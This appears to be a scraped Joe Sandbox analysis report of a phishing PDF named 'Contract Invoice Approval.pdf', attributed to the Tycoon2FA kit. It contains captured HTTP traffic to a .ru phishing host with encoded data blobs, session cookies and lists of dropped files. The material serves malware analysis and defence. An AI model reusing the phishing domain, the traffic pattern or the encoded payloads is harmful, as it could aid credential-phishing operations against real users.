2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 41 6f 70 4d 30 49 4c 43 53 59 33 56 77 73 38 48 67 31 6d 4e 54 6f 70 63 48 67 37 44 43 6b 42 43 41 38 64 66 6a 56 2f 4f 56 6f 6c 48 58 49 44 64 69 34 46 57 6d 4d 4d 4b 51 45 61 45 42 6b 59 63 32 41 2b 41 68 51 31 5a 6e 73 37 41 77 45 47 4e 44 67 6d 48 6c 6b 67 49 41 51 76 56 47 41 6b 47 6a 56 6d 64 79 41 44 42 32 41 34 43 6a 6b 61 57 53 59 4a 4a 6a 52 55 4f 52 6b 59 4d 48 59 75 66 69 67 46 59 33 67 74 42 78 56 57 45 67 59 45 63 6c 4d 45 46 67 49 45 56 69 30 70 41 77 46 33 4e 44 63 44 62 56 6f 6e 48 51 68 31 64 54 6f 76 43 52 31 79 41 79 6b 44 42 57 77 6c 44 41 41 46 52 52 67 6a 44 44 5a 58 42 42 5a 62 47 31 67 44 49 42 39 77 59 44 30 4d 58 41 46 57 46 42 73 68 4c 48 6f 51 4c 44 73 4e 5a 69 6f 34 4b 42 56 7a 49 43 63 72 4d 46 30 67 49 78 78 77 62 77 41 5a Data Ascii: AopM0ILCSY3Vws8Hg1mNTopcHg7DCkBCA8dfjV/OVolHXIDdi4FWmMMKQEaEBkYc2A+AhQ1Zns7AwEGNDgmHlkgIAQvVGAkGjVmdyADB2A4CjkaWSYJJjRUORkYMHYufigFY3gtBxVWEgYEclMEFgIEVi0pAwF3NDcDbVonHQh1dTovCR1yAykDBWwlDAAFRRgjDDZXBBZbG1gDIB9wYD0MXAFWFBshLHoQLDsNZio4KBVzICcrMF0gIxxwbwAZ
2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 68 31 64 54 6f 76 43 52 31 79 41 79 6b 44 42 58 67 6c 44 43 6c 74 53 41 30 6e 43 79 68 37 4f 54 74 64 47 6d 59 59 4a 41 55 31 57 54 51 6e 4c 52 56 57 43 77 30 49 63 6d 77 4c 42 6c 34 59 5a 68 41 69 45 33 41 50 4b 6a 63 32 42 6b 45 67 66 48 35 30 66 78 52 62 47 44 5a 63 46 33 6b 4a 4b 33 63 30 4a 79 30 56 56 67 73 4a 65 79 70 56 50 67 6f 65 4e 6c 73 74 4b 51 63 42 64 79 73 67 4e 68 59 46 44 54 6b 6c 4a 58 38 51 4c 77 6b 64 63 67 41 6a 4b 48 41 44 59 79 49 32 4d 46 30 6a 47 53 34 74 55 68 63 42 43 51 31 63 65 7a 30 51 42 6b 55 59 4a 79 30 56 56 67 73 47 65 67 6c 2f 45 43 38 4a 48 58 5a 33 4a 69 34 72 64 44 73 68 41 7a 78 48 4a 69 4d 63 4f 33 38 62 48 53 55 64 63 67 4d 70 41 77 46 33 4e 44 64 63 62 55 49 67 66 51 4e 30 66 78 41 6a 58 41 31 6c 42 7a 59 54 63 Data Ascii: h1dTovCR1yAykDBXglDCltSA0nCyh7OTtdGmYYJAU1WTQnLRVWCw0IcmwLBl4YZhAiE3APKjc2BkEgfH50fxRbGDZcF3kJK3c0Jy0VVgsJeypVPgoeNlstKQcBdysgNhYFDTklJX8QLwkdcgAjKHADYyI2MF0jGS4tUhcBCQ1cez0QBkUYJy0VVgsGegl/EC8JHXZ3Ji4rdDshAzxHJiMcO38bHSUdcgMpAwF3NDdcbUIgfQN0fxAjXA1lBzYTc
2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 79 41 79 6b 47 4c 33 67 6c 43 6a 59 65 53 78 67 64 65 79 68 76 43 79 51 46 48 58 59 6c 4e 41 59 42 64 79 59 30 41 77 4a 5a 4a 67 59 63 4f 32 77 41 58 77 51 4e 61 51 67 6c 41 77 56 52 4b 53 63 6d 4a 33 6f 4c 44 51 73 6c 66 78 41 76 43 51 30 44 65 7a 30 6f 63 58 39 6c 4a 79 30 5a 53 41 77 61 4b 58 4e 73 50 69 4e 5a 46 31 67 44 4b 51 4d 42 64 7a 51 6e 4b 57 56 5a 49 53 4d 75 4d 6c 51 36 58 77 63 32 41 68 42 2b 4b 48 41 47 5a 53 63 71 45 55 59 68 42 69 31 31 64 54 6f 76 43 52 31 79 41 48 63 4a 4b 33 63 30 4a 79 30 56 52 43 59 4a 48 44 68 53 46 41 49 61 4e 67 4e 33 50 68 4d 56 54 69 6b 6e 4a 69 64 36 43 77 30 4c 4a 58 38 51 4c 77 6b 4e 58 41 51 6b 4b 33 42 53 4b 67 78 64 41 6b 51 59 43 69 55 6c 66 32 45 33 46 67 35 62 44 43 4d 45 4b 45 55 59 4a 79 30 56 56 67 Data Ascii: yAykGL3glCjYeSxgdeyhvCyQFHXYlNAYBdyY0AwJZJgYcO2wAXwQNaQglAwVRKScmJ3oLDQslfxAvCQ0Dez0ocX9lJy0ZSAwaKXNsPiNZF1gDKQMBdzQnKWVZISMuMlQ6Xwc2AhB+KHAGZScqEUYhBi11dTovCR1yAHcJK3c0Jy0VRCYJHDhSFAIaNgN3PhMVTiknJid6Cw0LJX8QLwkNXAQkK3BSKgxdAkQYCiUlf2E3Fg5bDCMEKEUYJy0VVg
2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 4e 41 51 6e 65 67 73 4e 43 79 56 2f 45 43 38 4a 4e 33 59 45 4a 52 41 46 57 69 59 30 46 44 74 57 44 43 51 49 4e 56 4d 51 4c 78 63 5a 65 51 42 36 42 54 56 5a 4e 43 63 74 46 56 59 4c 44 51 68 79 62 41 73 47 58 68 68 6d 42 44 30 72 46 56 49 6d 49 51 63 57 57 78 67 5a 66 33 4a 73 43 79 64 5a 46 31 67 44 4b 51 4d 42 64 7a 51 6e 4b 52 35 48 49 53 4d 59 4c 6c 55 36 58 78 63 4e 5a 68 41 2b 4c 68 70 37 5a 53 63 71 45 55 59 68 42 69 31 31 64 54 6f 76 43 52 31 79 41 48 63 4a 4b 33 63 30 4a 79 30 56 52 42 74 39 47 43 70 2f 46 41 6b 58 48 58 6b 78 42 51 4d 42 64 7a 51 6e 4c 52 56 57 47 33 78 7a 4d 56 52 67 4a 31 67 64 63 67 77 6a 45 43 39 76 5a 43 30 48 46 56 59 4c 44 51 73 6c 66 78 52 66 42 6a 64 63 4a 6a 34 6f 4b 77 63 36 44 46 30 47 41 53 42 38 65 6e 52 2f 46 79 63 Data Ascii: NAQnegsNCyV/EC8JN3YEJRAFWiY0FDtWDCQINVMQLxcZeQB6BTVZNCctFVYLDQhybAsGXhhmBD0rFVImIQcWWxgZf3JsCydZF1gDKQMBdzQnKR5HISMYLlU6XxcNZhA+Lhp7ZScqEUYhBi11dTovCR1yAHcJK3c0Jy0VRBt9GCp/FAkXHXkxBQMBdzQnLRVWG3xzMVRgJ1gdcgwjEC9vZC0HFVYLDQslfxRfBjdcJj4oKwc6DF0GASB8enR/Fyc
2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 44 4a 55 42 46 63 62 4e 57 59 45 50 53 6b 37 66 33 67 34 4b 51 4a 4c 4a 67 6b 6d 4e 6c 52 68 57 78 34 4e 5a 6a 6f 30 47 67 45 50 4f 7a 34 4a 4f 31 59 4c 44 51 73 6c 5a 68 51 72 43 54 56 35 43 43 49 51 4b 41 59 36 4a 31 77 61 41 52 73 64 41 32 6c 6b 59 54 68 65 48 58 63 4d 66 68 4d 61 66 47 4d 30 4f 51 55 4a 44 6e 77 50 61 58 55 36 4c 77 6b 45 63 6e 73 37 45 78 70 76 65 43 30 4a 4f 31 59 4c 43 6a 49 70 56 77 73 33 43 51 30 44 4f 69 59 70 63 58 74 71 4a 77 4d 61 52 79 41 67 47 43 70 58 42 46 73 43 4e 31 67 4c 5a 51 6b 72 64 7a 51 6e 4c 52 55 4a 49 58 77 63 4b 46 49 55 41 68 67 32 57 41 41 2b 45 41 59 47 4f 6a 64 63 62 51 41 68 49 41 51 75 56 53 6f 6e 43 51 30 44 4f 69 59 70 63 58 74 71 4a 77 4d 61 52 79 59 57 41 44 68 73 43 79 4d 48 42 46 59 74 4b 51 4d 42 Data Ascii: DJUBFcbNWYEPSk7f3g4KQJLJgkmNlRhWx4NZjo0GgEPOz4JO1YLDQslZhQrCTV5CCIQKAY6J1waARsdA2lkYTheHXcMfhMafGM0OQUJDnwPaXU6LwkEcns7ExpveC0JO1YLCjIpVws3CQ0DOiYpcXtqJwMaRyAgGCpXBFsCN1gLZQkrdzQnLRUJIXwcKFIUAhg2WAA+EAYGOjdcbQAhIAQuVSonCQ0DOiYpcXtqJwMaRyYWADhsCyMHBFYtKQMB
2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 49 44 4b 51 4d 42 64 32 73 4e 4b 6d 46 37 49 42 59 49 4f 31 52 67 4e 41 49 64 65 53 34 34 4c 68 70 2f 4e 41 30 44 41 6c 6b 59 43 53 59 33 62 43 6f 5a 43 54 41 43 43 44 34 75 42 56 6f 6d 4e 42 63 6a 56 68 73 5a 66 79 6c 2f 46 43 41 59 4e 6d 5a 7a 66 79 67 76 57 6a 6b 33 4e 67 5a 42 49 48 78 2b 4a 56 56 68 47 68 34 32 64 6a 6f 30 42 69 68 42 4a 51 30 71 59 48 6f 4c 44 51 73 6c 66 78 41 76 43 52 31 79 41 33 59 47 63 47 51 6a 43 67 52 67 65 67 73 4e 43 79 56 2f 45 43 38 4a 42 48 4a 37 4a 53 73 61 62 33 67 74 42 78 56 57 43 77 30 4c 65 6e 70 67 49 41 49 4e 41 68 41 2b 4b 48 41 43 65 43 30 4a 4f 31 59 4c 44 51 73 6c 5a 68 73 67 41 67 30 43 45 44 34 6f 63 41 49 30 44 7a 6b 46 43 41 73 6a 45 43 35 76 43 7a 78 66 4e 31 77 55 4e 41 4d 72 64 44 6b 4d 4b 52 4a 4c 49 Data Ascii: IDKQMBd2sNKmF7IBYIO1RgNAIdeS44Lhp/NA0DAlkYCSY3bCoZCTACCD4uBVomNBcjVhsZfyl/FCAYNmZzfygvWjk3NgZBIHx+JVVhGh42djo0BihBJQ0qYHoLDQslfxAvCR1yA3YGcGQjCgRgegsNCyV/EC8JBHJ7JSsab3gtBxVWCw0LenpgIAINAhA+KHACeC0JO1YLDQslZhsgAg0CED4ocAI0DzkFCAsjEC5vCzxfN1wUNAMrdDkMKRJLI

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:18 UTC	1135	OUT	GET /mxnGiuCebjMBjUQRf6mDgo59rEscCBjf HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkVqOW43clN3TlFxY3NsV3ZXQ1lYTlE9PSIsInZhbHVlIjoiTGNEUEZvMFlIelBuaEIzOEhoaDNHbVd0L0hIR1VZcmVqU2RHM1RXZ1ZUTXdoUGE3U0NON1VvcWtyeGx2eTBVOW53QWk2VFZ1cWpIQVk5NDl5R3hPTlZpQ3dGVUQxUVV1WU8zcDRYckNERWQyeWRJNGt4Q2xSdE1uOFU2ZFlvc0MiLCJtYWMiOiI3ZmU0ZjNhN2U0ODY2NGU2NzI4NmNkMzFkZDdiNGYzY2NlYTRhMGZkMjhkYzAxMzc1ZjdmNWJmY2VlYmQ1MDI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Impic1R0Q0dabUFQbW4zYmV2UVNyVkE9PSIsInZhbHVlIjoiNEtqalk4Yy9mUTlXTyt4bEgvbE9hQk81NmdvaEtnOGhqNTd4a0NvRTNXcVpHK3Nsc0Z6eDBBSm9QaEZaU2kzVE9nODh4Zk5mN0o0czhoQkVPdXBBQ0pDVlJ0VWh4UFhEZW5QcU42VGpBRGtsQlByTU92ejJQVHIzTHROWC9JcmYiLCJtYWMiOiI4YzJkNGI0YTJiY2ZiNWFlMWZjZTJhMDhkZDE4NDE0OWI5MDZhMTY3YTI3YTk4OTVhN2RkZmQ2MzBmNmNhZTdkIiwidGFnIjoiIn0%3D
2025-03-21 06:03:19 UTC	1040	IN	HTTP/1.1 404 Not Found Date: Fri, 21 Mar 2025 06:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yHCC%2F59hrgy0Mmy3EywNxrmssdmstF3vlyA4yr4dQxdofaxoY44Ew5kZ%2BI4knT%2BgBv%2B6XPR4QU2FeTlJvCfQg%2BYSgMMEw2WkHT2ncpg73FEIgGlC3%2BKnETtjeQxRtZMj%2Fqjq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8512&min_rtt=8466&rtt_var=3208&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2046&delivery_rate=336404&cwnd=252&unsent_bytes=0&cid=ce72678dd330a6f6&ts=310&x=0" Server: cloudflare CF-RAY: 923b3ed3e9460f3e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=98039&min_rtt=97544&rtt_var=21322&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1707&delivery_rate=37613&cwnd=242&unsent_bytes=0&cid=9b971694ad0f8f13&ts=642&x=0"
2025-03-21 06:03:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:19 UTC	1460	OUT	POST /lmK872PnEvFhfAX0u0ValNz5o5iR18fGtkIzE6hpFhwkn2VoUbgy HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive Content-Length: 6 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://zy7z.fmaymzjp.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZpVGJEOHlVUSs0anJ6MzhCaEZVQ3c9PSIsInZhbHVlIjoiZ2Zjb0I2R3ZsbnRhRjVrazBpYmlJUTdoRWNwVktXNU5EaG4wVFRPeVZJWkptdnpHY3lnY2xZL2tJK3lVVXVZYkw1VThOdGYwd2J2SityeThObjc0YnIzV2lnL01kOFU2Q2hSWnV1K0gzOGtma0VucWxhaytSa2JDMlJxa3hnMlgiLCJtYWMiOiI2NWY3ODg2YWU1NWI5N2U5NDQ0YmU3ZjMyYjE5YTY1Y2QzNzc3OGMyODBmMzM4ZWJlZDE0NDMyMWRlNjI2MDMxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IksvczY4VjY0dW1RcTFrYVdDcnFjV3c9PSIsInZhbHVlIjoiVHp3Vk90djBOZnFLb0tHY3FOTTVlTjBtZVBiZVU5ei9seTA2TCt0WUJKUU1JNlFOSVV2cjlzdm5iUUdSNkNTeUgyZndlZWlpRnNjbW82QmdQNitKcGJvaWFpS0x1RUx1bHUyd2NFT0x2bVBvaWV0QUkyS3dmZW9HV2ppdnh1UmoiLCJtYWMiOiI2YTczOTZmY2JlM2VjMTMwZWJmNmQwNDBhOWNmZTMwNjBkOTI2NDdlZGU4NjI0Y2Y2YjkxZjU4OGI1ZjgyMjY1IiwidGFnIjoiIn0%3D
2025-03-21 06:03:19 UTC	6	OUT	Data Raw: 64 61 74 61 3d 4e Data Ascii: data=N
2025-03-21 06:03:19 UTC	1218	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s4A%2BSfgcYcOBipqkj2ND%2BY7M0SR2yvXUJ1tr%2B%2ByNFJa7AEO05NnY149IOIZi7zGUEylttvtOFNn3zzPa6LOnYxNnKda4cqcE1NS%2FVZjZzly1%2FOImR3Rp5ZAh2Oo8GXti938X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8376&min_rtt=8375&rtt_var=3142&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2376&delivery_rate=339735&cwnd=252&unsent_bytes=0&cid=31648bf5bcdff7eb&ts=357&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImQ0VUdCV0F1aTdYY0g0NUhrd3FOMVE9PSIsInZhbHVlIjoieFYrQ3lVd0Niay9KOURHbkV5blFKV0FMeUNDR1pOK0V5b28xcVlYSlhuL2hkYzRkZWp3M2VkQXNOeWtuNzFZcVNTczJnbmN2aFh3Y0FkQzdNb3BHTTdOZU9JMmFXRG5uMmdybzgrSi9ySjBHTDBaWUxmWHBqTURMZ3c2UFdZMDIiLCJtYWMiOiIxNjE4MDY3NWE3MTgxYjc3MDY0MDgxYWQ2NTBmM2JhNzAzOGFjMzljYmVkOTcwMDAzZDg4YmQ4ZTU3YmUyODAwIiwidGFnIjoiIn0%3D; expires=Fri, 21-Mar-2025 08:03:19 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-21 06:03:19 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 56 78 55 43 39 34 59 6a 4e 4e 4e 57 68 59 56 47 4a 6f 56 58 42 78 4d 31 52 35 56 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 6b 4e 75 59 31 4e 4c 55 6d 4a 6d 52 6d 39 58 61 45 68 44 53 55 73 32 56 54 4e 78 54 6b 63 78 52 53 73 33 64 46 52 6a 57 48 68 6c 53 47 46 36 65 6c 4a 79 51 6c 5a 56 5a 7a 4a 6c 54 57 68 43 63 45 78 76 53 58 52 6f 61 45 46 30 54 6d 78 61 51 54 4a 78 62 58 42 77 4e 6a 6c 48 62 6c 46 4c 57 46 6c 7a 64 32 55 78 4b 30 70 57 55 6e 5a 71 57 47 45 34 56 55 6b 76 62 55 56 72 65 48 45 34 55 56 4a 49 4b 30 35 55 5a 55 46 53 4d 53 74 70 65 46 4d 35 64 32 31 79 4e 58 46 68 51 69 39 7a 55 47 35 45 56 32 68 4a 53 46 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlVxUC94YjNNNWhYVGJoVXBxM1R5VXc9PSIsInZhbHVlIjoiWkNuY1NLUmJmRm9XaEhDSUs2VTNxTkcxRSs3dFRjWHhlSGF6elJyQlZVZzJlTWhCcExvSXRoaEF0TmxaQTJxbXBwNjlHblFLWFlzd2UxK0pWUnZqWGE4VUkvbUVreHE4UVJIK05UZUFSMStpeFM5d21yNXFhQi9zUG5EV2hJSFc
2025-03-21 06:03:19 UTC	292	IN	Data Raw: 31 31 64 0d 0a 7b 22 61 22 3a 22 43 53 32 68 72 33 73 6d 76 31 79 38 6f 64 61 6c 4e 78 48 4e 78 59 57 39 4b 77 48 32 49 51 72 45 43 75 6e 6a 42 43 50 49 41 64 4e 69 41 52 63 52 4d 75 35 69 35 66 35 35 6b 67 62 39 7a 73 4a 72 58 6d 44 72 6d 4f 4a 77 78 75 61 33 43 72 43 4c 7a 32 55 4d 53 4d 53 30 35 55 45 5a 65 6d 4d 70 38 77 38 7a 37 76 6c 73 51 39 2b 68 6e 31 68 69 63 4f 6e 39 61 44 58 73 62 41 41 39 56 4b 4e 59 22 2c 22 62 22 3a 22 30 30 32 32 65 37 65 36 30 64 66 65 33 34 63 34 63 30 34 65 35 64 63 32 38 37 32 63 35 37 39 66 22 2c 22 63 22 3a 22 32 34 61 36 38 38 32 32 63 65 34 34 36 36 35 31 31 35 34 66 31 64 32 39 34 30 63 63 39 35 37 37 22 2c 22 64 22 3a 22 36 34 33 39 33 38 36 34 33 35 36 32 36 34 33 39 33 39 36 35 33 38 33 39 33 34 33 32 33 30 33 Data Ascii: 11d{"a":"CS2hr3smv1y8odalNxHNxYW9KwH2IQrECunjBCPIAdNiARcRMu5i5f55kgb9zsJrXmDrmOJwxua3CrCLz2UMSMS05UEZemMp8w8z7vlsQ9+hn1hicOn9aDXsbAA9VKNY","b":"0022e7e60dfe34c4c04e5dc2872c579f","c":"24a68822ce446651154f1d2940cc9577","d":"6439386435626439396538393432303
2025-03-21 06:03:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:19 UTC	1331	OUT	GET /favicon.ico HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZpVGJEOHlVUSs0anJ6MzhCaEZVQ3c9PSIsInZhbHVlIjoiZ2Zjb0I2R3ZsbnRhRjVrazBpYmlJUTdoRWNwVktXNU5EaG4wVFRPeVZJWkptdnpHY3lnY2xZL2tJK3lVVXVZYkw1VThOdGYwd2J2SityeThObjc0YnIzV2lnL01kOFU2Q2hSWnV1K0gzOGtma0VucWxhaytSa2JDMlJxa3hnMlgiLCJtYWMiOiI2NWY3ODg2YWU1NWI5N2U5NDQ0YmU3ZjMyYjE5YTY1Y2QzNzc3OGMyODBmMzM4ZWJlZDE0NDMyMWRlNjI2MDMxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IksvczY4VjY0dW1RcTFrYVdDcnFjV3c9PSIsInZhbHVlIjoiVHp3Vk90djBOZnFLb0tHY3FOTTVlTjBtZVBiZVU5ei9seTA2TCt0WUJKUU1JNlFOSVV2cjlzdm5iUUdSNkNTeUgyZndlZWlpRnNjbW82QmdQNitKcGJvaWFpS0x1RUx1bHUyd2NFT0x2bVBvaWV0QUkyS3dmZW9HV2ppdnh1UmoiLCJtYWMiOiI2YTczOTZmY2JlM2VjMTMwZWJmNmQwNDBhOWNmZTMwNjBkOTI2NDdlZGU4NjI0Y2Y2YjkxZjU4OGI1ZjgyMjY1IiwidGFnIjoiIn0%3D
2025-03-21 06:03:19 UTC	846	IN	HTTP/1.1 404 Not Found Date: Fri, 21 Mar 2025 06:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=stBnpGPyd0SgX45q8ud%2F08s05r2A%2Bz0iG7rJJ8cLyZgqu614tGtOhp9OiooiWSmUZPBQSEMsAy2AM0C%2FHUjIrlVLN%2F%2Bl7YSoK3ZFewSg3KcfRJQTPgGOoYcEN0JfsFrndDzw"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=8507&min_rtt=8482&rtt_var=3199&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2243&delivery_rate=335769&cwnd=97&unsent_bytes=0&cid=fff0c66c182a0c83&ts=348&x=0" Cache-Control: max-age=14400 Cf-Cache-Status: MISS CF-RAY: 923b3ed6cb451835-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 06:03:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:19 UTC	549	OUT	OPTIONS /report/v4?s=yHCC%2F59hrgy0Mmy3EywNxrmssdmstF3vlyA4yr4dQxdofaxoY44Ew5kZ%2BI4knT%2BgBv%2B6XPR4QU2FeTlJvCfQg%2BYSgMMEw2WkHT2ncpg73FEIgGlC3%2BKnETtjeQxRtZMj%2Fqjq HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://zy7z.fmaymzjp.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:19 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 21 Mar 2025 06:03:19 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Contract Invoice Approval.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9f594776-71bf-4287-a1c3-d634ea3d0aa7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4a8f47.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b13a336e-46c9-4ce3-a5ce-4f48012e610d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250321060224Z-167.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7072

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Windows Analysis Report
Contract Invoice Approval.pdf

Timestamp	Bytes transferred	Direction	Data
